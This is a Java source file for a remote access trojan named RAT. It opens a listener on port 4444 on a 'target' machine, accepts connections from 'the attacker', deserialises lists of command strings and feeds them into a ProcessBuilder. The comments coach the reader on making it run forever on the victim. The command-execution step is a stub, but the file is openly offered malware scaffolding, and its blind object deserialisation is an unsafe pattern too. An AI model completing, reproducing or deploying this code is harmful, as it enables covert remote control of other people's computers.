import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.ArrayList;

public class RAT {
    public static void main(String[] args){
        try {
            // I assume that you want the attacker to connect to the target
            // if you want the target to connect to the attacker, use Socket
            // second param in Ctor call, indicates how many connection to handle, in this case, just 1
            ServerSocket serverSocket = new ServerSocket(4444,1);

            // an infinite loop, because you want this to run for ever on your target
            while(true){
                Socket attackerSocket = serverSocket.accept();

                // Trust me, you dont want the main thread to handle this crap
                // () -> lambda in java, (finally?)
                new Thread(() -> {
                    communicateWithAttacker(attackerSocket);
                }).start();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }

    }

    // Normally, everything below i'd put in a separated class, read about SOLID principles
    private static void communicateWithAttacker(Socket attackerSocket){
        //its good practice
        if(attackerSocket == null)
            throw new NullPointerException("attackerSocket");

        // i hate this forced try/catch blocks
        try {
            OutputStream outputStream = attackerSocket.getOutputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(attackerSocket.getInputStream());

            // i assume that you will send an unencrypted array of commands
            ArrayList<String> commands = (ArrayList<String>) objectInputStream.readObject();

            // do something with those commands, and maybe return a result?
            doSomethingWithCommands(new ProcessBuilder((commands)));

            // continue response logic here;

        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

    private static void doSomethingWithCommands(ProcessBuilder processBuilder)
    {
        if (processBuilder == null)
            throw new NullPointerException("processBuilder");

        //do something with the commands, and maybe return some results?
    }
}